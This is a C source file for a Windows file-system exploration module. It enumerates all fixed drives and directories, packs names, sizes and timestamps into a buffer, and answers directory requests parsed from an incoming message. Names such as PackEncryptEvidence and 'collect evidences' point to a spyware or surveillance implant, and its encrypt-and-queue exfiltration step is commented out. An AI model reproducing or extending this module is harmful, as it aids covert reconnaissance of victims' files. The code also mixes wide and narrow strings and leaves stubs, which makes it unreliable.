#include <Windows.h>
#include <stdio.h>
//#include "proto.h"
//#include "zmem.h"
#include "filesystem.h"
//#include "globals.h"

#include "..\Runtime\Runtime.h"

//FILESYSTEM_LOGS lpFileSystemLogs[MAX_FILESYSTEM_QUEUE];
//
//BOOL QueueFileSystemLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize)
//{
//	if (!lpEvBuff || !dwEvSize)
//		return FALSE;
//
//	for (DWORD i = 0; i<MAX_FILESYSTEM_QUEUE; i++)
//	{
//		if (lpFileSystemLogs[i].dwSize == 0 || lpFileSystemLogs[i].lpBuffer == NULL)
//		{
//			lpFileSystemLogs[i].dwSize = dwEvSize;
//			lpFileSystemLogs[i].lpBuffer = lpEvBuff;
//
//			return TRUE;
//		}
//	}
//
//	return FALSE;
//}


CHAR *RecurseDirectory(PRUNTIME pRuntime, CHAR *start_path, CHAR *recurse_path)
{
	API__SNPRINTF_S(recurse_path, MAX_PATH, _TRUNCATE, L"%s\\*", start_path);
	return recurse_path;
}

CHAR *CompleteDirectoryPath(PRUNTIME pRuntime, CHAR *start_path, CHAR *file_name, CHAR *dest_path)
{
	CHAR *term;

	API__SNPRINTF_S(dest_path, MAX_PATH, _TRUNCATE, L"%s", start_path);
	if ((term = API_STRRCHR(dest_path, L'\\'))) {
		term++;
		*term = NULL;
		API__SNPRINTF_S(dest_path, MAX_PATH, _TRUNCATE, L"%s%s", dest_path, file_name);
	}

	return dest_path;
}


BOOL ExploreDirectory(PRUNTIME pRuntime, LPBYTE *lpBuffer, LPDWORD dwBuffSize, LPSTR strStartPath, DWORD dwDepth)
{
	CHAR file_path[MAX_PATH], recurse_path[MAX_PATH];
	directory_header_struct directory_header;

	if (strStartPath == NULL)
		return FALSE;
	if (dwDepth == 0)
		return TRUE;

	if (!API_STRCMP(strStartPath, L"/"))
	{
		CHAR strDriveLetter[3];
		strDriveLetter[1] = L':';
		strDriveLetter[2] = L'\0';

		for (strDriveLetter[0] = L'A'; strDriveLetter[0] <= L'Z'; strDriveLetter[0]++)
		{
			if (API_GETDRIVETYPEA(strDriveLetter) == DRIVE_FIXED)
			{
				SecureZeroMemory(&directory_header, sizeof(directory_header_struct));

				directory_header.version = DIR_EXP_VERSION;
				directory_header.flags |= PATH_IS_DIRECTORY;
				directory_header.path_len = API_STRLEN(strDriveLetter) * 2;

				if (!ExploreDirectory(pRuntime, lpBuffer, dwBuffSize, RecurseDirectory(pRuntime, strDriveLetter, recurse_path), dwDepth - 1))
					directory_header.flags |= PATH_IS_EMPTY;

				if (!*lpBuffer)
					*lpBuffer = (LPBYTE)API_ALLOC(pRuntime, sizeof(directory_header_struct)+directory_header.path_len);
				else
					*lpBuffer = (LPBYTE)API_REALLOC(pRuntime, *lpBuffer, *dwBuffSize + sizeof(directory_header_struct)+directory_header.path_len);

				API_MEMCPY(*lpBuffer + *dwBuffSize, &directory_header, sizeof(directory_header_struct));
				API_MEMCPY(*lpBuffer + *dwBuffSize + sizeof(directory_header_struct), strDriveLetter, directory_header.path_len);
				*dwBuffSize += sizeof(directory_header_struct)+directory_header.path_len;

				//dwBuffSize = sizeof(directory_header_struct) + directory_header.path_len;
				//dwBuffSize += sizeof(directory_header_struct) + directory_header.path_len;

				/*
				LPBYTE lpBuff = (LPBYTE) zalloc(sizeof(directory_header_struct) + directory_header.path_len);
				memcpy(lpBuff, &directory_header, sizeof(directory_header_struct));
				memcpy(lpBuff + sizeof(directory_header_struct), strDriveLetter, directory_header.path_len);

				// SCRIVI LOG
				DWORD dwEvSize;
				LPBYTE lpEvBuffer = PackEncryptEvidence(sizeof(directory_header_struct) + directory_header.path_len, lpBuff, PM_EXPLOREDIR, NULL, 0, &dwEvSize);
				zfree(lpBuff);
				if (!QueueFileSystemLog(lpEvBuffer, dwEvSize))
				zfree(lpEvBuffer);
				*/
			}
		}
		return TRUE;
	}

	BOOL bIsFull = FALSE;
	WIN32_FIND_DATA pFindData;
	HANDLE hFind = API_FINDFIRSTFILEA(strStartPath, &pFindData);
	if (hFind == INVALID_HANDLE_VALUE)
		return FALSE;

	do
	{
		if (!API_STRCMP(pFindData.cFileName, L".") || !API_STRCMP(pFindData.cFileName, L".."))
			continue;

		bIsFull = TRUE;
		SecureZeroMemory(&directory_header, sizeof(directory_header_struct));
		directory_header.version = DIR_EXP_VERSION;
		directory_header.file_size_hi = pFindData.nFileSizeHigh;
		directory_header.file_size_lo = pFindData.nFileSizeLow;
		directory_header.last_write = pFindData.ftLastWriteTime;

		if (pFindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			directory_header.flags |= PATH_IS_DIRECTORY;
		CompleteDirectoryPath(pRuntime, strStartPath, pFindData.cFileName, file_path);
		directory_header.path_len = wcslen(file_path) * 2;

		if (directory_header.flags & PATH_IS_DIRECTORY)
		if (!ExploreDirectory(pRuntime, lpBuffer, dwBuffSize, RecurseDirectory(pRuntime, file_path, recurse_path), dwDepth - 1))
			directory_header.flags |= PATH_IS_EMPTY;

		if (!*lpBuffer)
			*lpBuffer = (LPBYTE)API_ALLOC(pRuntime, sizeof(directory_header_struct) + directory_header.path_len);
		else
			*lpBuffer = (LPBYTE)API_REALLOC(pRuntime, *lpBuffer, *dwBuffSize + sizeof(directory_header_struct)+directory_header.path_len);

		//dwBuffSize = sizeof(directory_header_struct) + directory_header.path_len;
		//dwBuffSize += sizeof(directory_header_struct) + directory_header.path_len;
		API_MEMCPY(*lpBuffer + *dwBuffSize, &directory_header, sizeof(directory_header_struct));
		API_MEMCPY(*lpBuffer + *dwBuffSize + sizeof(directory_header_struct), file_path, directory_header.path_len);
		*dwBuffSize += sizeof(directory_header_struct)+directory_header.path_len;

		/*
		LPBYTE lpBuff = (LPBYTE) zalloc(sizeof(directory_header_struct) + directory_header.path_len);
		memcpy(lpBuff, &directory_header, sizeof(directory_header_struct));
		memcpy(lpBuff + sizeof(directory_header_struct), file_path, directory_header.path_len);

		// SCRIVI LOG
		DWORD dwEvSize;
		LPBYTE lpEvBuffer = PackEncryptEvidence(sizeof(directory_header_struct) + directory_header.path_len, lpBuff, PM_EXPLOREDIR, NULL, 0, &dwEvSize);
		zfree(lpBuff);
		if (!QueueFileSystemLog(lpEvBuffer, dwEvSize))
		zfree(lpEvBuffer);
		*/
	} while (API_FINDNEXTFILEA(hFind, &pFindData));

	API_FINDCLOSE(hFind);

	return bIsFull;
}


BOOL FileSystemHandler(PRUNTIME pRuntime, DWORD dwMsgLen, DWORD dwNumDir, LPBYTE lpDirBuffer)
{
	//if (!bCollectEvidences)
	//	return FALSE;
#define PM_EXPLOREDIR         0xEDA1  // from protocol.h

	for (DWORD i = 0; i<dwNumDir; i++)
	{
		CHAR strExpandedDir[MAX_PATH + 1];
		DWORD dwDepth = lpDirBuffer[0];
		DWORD dwDirLen = *(LPDWORD)&lpDirBuffer[4];

		if (API_EXPANDENVIRONMENTSTRINGSA((LPSTR)&lpDirBuffer[8], strExpandedDir, MAX_PATH))
		{
			DWORD dwBuffSize = 0;
			LPBYTE lpBuffer = NULL;
			ExploreDirectory(pRuntime, &lpBuffer, &dwBuffSize, strExpandedDir, dwDepth);

			DWORD dwEvSize;
			//LPBYTE lpEvBuffer = PackEncryptEvidence(dwBuffSize, lpBuffer, PM_EXPLOREDIR, NULL, 0, &dwEvSize);
			//API_FREE(pRuntime, lpBuffer);

			//if (!QueueFileSystemLog(lpEvBuffer, dwEvSize))
			//	API_FREE(pRuntime, lpEvBuffer);
		}
#ifdef _DEBUG
		else
		{
			DWORD err = API_GETLASTERROR();
		}
#endif

		lpDirBuffer += sizeof(DWORD); // dwDepth
		lpDirBuffer += sizeof(DWORD); // dwDirLen
		lpDirBuffer += dwDirLen;
	}

	return TRUE;
}


/* function for module registration */
DWORD RegisterFilesystemModule(int argc, char * argv[])
{


	return 0;
}